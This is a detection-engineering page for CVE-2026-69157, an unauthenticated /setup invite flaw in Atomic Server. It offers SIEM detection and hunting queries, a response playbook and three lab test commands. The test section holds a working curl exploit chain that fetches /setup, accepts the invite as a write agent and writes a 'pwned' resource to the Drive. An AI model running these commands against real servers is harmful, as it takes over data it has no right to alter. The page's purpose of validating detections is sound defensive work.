Skip to content
CVE-2026-69157

CVE-2026-69157: Atomic Server Unauthenticated /setup Invite Grants Write Access to Entire Drive

Initial Access Persistence Last updated:

Detects exploitation of CVE-2026-69157, a missing-authentication flaw (CWE-306) in Atomic Server (versions >= 0.29.0, <= 0.40.1). The `/setup` endpoint exposes a one-time invite that, when the server has already been initialized, remains reachable without authentication and grants the caller write access to the root Drive. An unauthenticated attacker who requests `/setup` (or follows the invite it returns) can accept an invite agent and obtain write rights over the entire Drive, enabling data tampering, resource creation, and privilege escalation. Detection focuses on HTTP requests to `/setup` and subsequent invite-acceptance traffic against Atomic Server, especially from external or unauthenticated sources, and on anomalous write bursts following a /setup hit.

Vulnerability Intelligence

Theoretical

What is CVE-2026-69157 CVE-2026-69157: Atomic Server Unauthenticated /setup Invite Grants Write Access to Entire Drive?

CVE-2026-69157: Atomic Server Unauthenticated /setup Invite Grants Write Access to Entire Drive (CVE-2026-69157) maps to the Initial Access and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for CVE-2026-69157: Atomic Server Unauthenticated /setup Invite Grants Write Access to Entire Drive, covering the data sources and telemetry it touches: IIS/Reverse Proxy W3C Logs, Web Server Access Logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Persistence
Microsoft Sentinel / Defender
kusto
// df00tech DF00-6e7e0d18dc · https://df00tech.com/detections/CVE-2026-69157 · licence: https://df00tech.com/detections/licence
let suspicious_paths = dynamic(["/setup", "/invite"]);
W3CIISLog
| where csUriStem has_any (suspicious_paths) or cs_uri_stem has_any (suspicious_paths)
| extend Path = coalesce(csUriStem, cs_uri_stem)
| where Path startswith "/setup" or Path startswith "/invite"
| extend HasAuth = isnotempty(csUsername) and csUsername != "-"
| where HasAuth == false
| project TimeGenerated, cIP = coalesce(cIP, c_ip), Path, csMethod, scStatus, sIP = coalesce(sIP, s_ip), csUserAgent
| summarize Requests = count(), Statuses = make_set(scStatus), Methods = make_set(csMethod), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by cIP, Path, csUserAgent
| where Requests >= 1

Microsoft Sentinel KQL over IIS/reverse-proxy W3C logs fronting Atomic Server: flags unauthenticated requests to /setup or /invite that return success, indicating an attempt to claim the always-available invite.

high severity medium confidence

Data Sources

IIS/Reverse Proxy W3C Logs Web Server Access Logs

Required Tables

W3CIISLog

False Positives

  • Legitimate first-time administrator completing initial Atomic Server setup immediately after deployment
  • Security scanners and vulnerability assessment tools probing the /setup path
  • Health-check or uptime monitoring tools configured to hit /setup

Query fingerprint DF00-6e7e0d18dc · licence

Sigma logsource & community rules

The detection logic for CVE-2026-69157: Atomic Server Unauthenticated /setup Invite Grants Write Access to Entire Drive (CVE-2026-69157) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Unauthenticated GET /setup against Atomic Server

    Expected signal: Web access log entry for GET /setup from the test source IP with no authenticated user and a 200/302 response.

  2. Test 2 Unauthenticated invite acceptance to gain write agent

    Expected signal: Access log shows unauthenticated POST to /invite returning 200/201 followed by write operations from the same source.

  3. Test 3 Post-exploitation write to the Drive via claimed agent

    Expected signal: Drive commit/audit log records a new resource created by the invite-claimed agent; web logs show a POST /commit.


Response Playbook

Triage

  1. Identify the source IP(s) hitting /setup or /invite and determine whether they are internal admin workstations or external/unexpected addresses. External unauthenticated hits to /setup on an already-initialized Atomic Server are high suspicion.
  2. Confirm the Atomic Server version is in the affected range (>= 0.29.0, <= 0.40.1). Check the deployment manifest, container image tag, or the server's version endpoint.
  3. Determine whether the server was already set up before the request. If the Drive already has an admin agent and resources, any successful /setup/invite acceptance is anomalous and indicates exploitation.
  4. Review the HTTP response codes: a 200/302 on /setup from an unauthenticated client suggests the invite was served and potentially claimed.

Containment

  1. Immediately upgrade Atomic Server to a fixed version (post-commit 98517d8921c78bd9b728a2459378c184ebf8a969 / > 0.40.1) or block the /setup and /invite routes at the reverse proxy/WAF until patched.
  2. Revoke or rotate the invite and any agents created through it; audit the Drive's agent list and remove unauthorized write-capable agents.
  3. Restrict network access to the Atomic Server instance to trusted administrator networks while remediation is in progress.

Evidence Collection

  1. Preserve web server / reverse-proxy access logs showing the /setup and /invite requests, source IPs, user agents, and response codes.
  2. Export the Atomic Server Drive audit/commit history to capture any resources created or modified after the suspicious /setup request, including new agents and write grants.

Escalation Criteria

  • ! Escalate to incident response if a /setup/invite request succeeded on an already-initialized production Drive, as this implies unauthorized write access was obtained.
  • ! Escalate if post-exploitation write activity (new agents, modified resources, or data exfiltration patterns) is observed from the same source following the /setup hit.

Investigation Guide

Forensic Artifacts

  • > Web server/reverse-proxy access logs with /setup and /invite entries
  • > Atomic Server Drive commit/audit log entries for agent creation and resource writes
  • > Atomic Server on-disk database (store) snapshots showing added agents and write grants

Tuning Guidance

Baseline the legitimate initial-setup window: during the first minutes after a fresh Atomic Server deployment, admin /setup access is expected. Allowlist known administrator source IPs and the deployment automation's address, and suppress alerts during planned provisioning windows. For long-running instances, treat ANY unauthenticated /setup success as actionable since setup should only ever occur once. Reduce noise from scanners by correlating with subsequent write/invite-acceptance activity before escalating.


Hunting Queries

Hunt for any unauthenticated access to Atomic Server setup/invite endpoints over the retention window to find earlier probing or exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-6e7e0d18dc · https://df00tech.com/detections/CVE-2026-69157 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem startswith "/setup" or csUriStem startswith "/invite" | where isempty(csUsername) or csUsername == "-" | summarize count() by cIP, csUriStem, scStatus, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-6e7e0d18dc · https://df00tech.com/detections/CVE-2026-69157 · licence: https://df00tech.com/detections/licence ```
index=web (sourcetype=access_combined OR sourcetype=iis) (uri_path="/setup*" OR uri_path="/invite*") (user="-" OR NOT user=*) | stats count by clientip uri_path status

Atomic Red Team Tests

Test 1 Unauthenticated GET /setup against Atomic Server
linux

Request the /setup endpoint without any authentication to observe whether the invite is served on an already-initialized instance.

Command

bash
curl -s -i -X GET 'http://atomic-server.lab.local/setup' -H 'Accept: application/ad+json'

Cleanup

bash
echo 'No state changed by GET; revoke any invite viewed via the Atomic Server admin UI if applicable.'

Expected Telemetry

Web access log entry for GET /setup from the test source IP with no authenticated user and a 200/302 response.

Expected Detection

Detection fires on the unauthenticated /setup request returning success.

Test 2 Unauthenticated invite acceptance to gain write agent
linux

Follow the invite returned by /setup and accept it to obtain a write-capable agent on the Drive (lab only).

Command

bash
INVITE=$(curl -s 'http://atomic-server.lab.local/setup' | grep -oE 'https?://[^"]+/invite[^"]*' | head -n1); curl -s -i -X POST "$INVITE" -H 'Content-Type: application/json' -d '{"https://atomicdata.dev/properties/invite/agent":"https://atomicdata.dev/agents/test"}'

Cleanup

bash
curl -s -X DELETE 'http://atomic-server.lab.local/agents/test' -H 'Authorization: Bearer <admin-token>' || echo 'Manually remove the test agent via admin UI.'

Expected Telemetry

Access log shows unauthenticated POST to /invite returning 200/201 followed by write operations from the same source.

Expected Detection

EQL/CQL sequence detection correlates the /setup hit with subsequent invite acceptance / write request.

Test 3 Post-exploitation write to the Drive via claimed agent
linux

Use the write access obtained from the invite to create or modify a resource on the root Drive, demonstrating full-Drive write impact.

Command

bash
curl -s -i -X POST 'http://atomic-server.lab.local/commit' -H 'Content-Type: application/json' -d '{"subject":"http://atomic-server.lab.local/pwned","set":{"https://atomicdata.dev/properties/description":"cve-2026-69157-poc"}}'

Cleanup

bash
curl -s -X DELETE 'http://atomic-server.lab.local/pwned' -H 'Authorization: Bearer <admin-token>' || echo 'Manually delete the test resource.'

Expected Telemetry

Drive commit/audit log records a new resource created by the invite-claimed agent; web logs show a POST /commit.

Expected Detection

Write-burst following a /setup hit from the same source triggers the sequence/correlation detections.

Related Detections

Blog posts about this detection

Browse by tactic

Full ATT&CK matrix Search all detections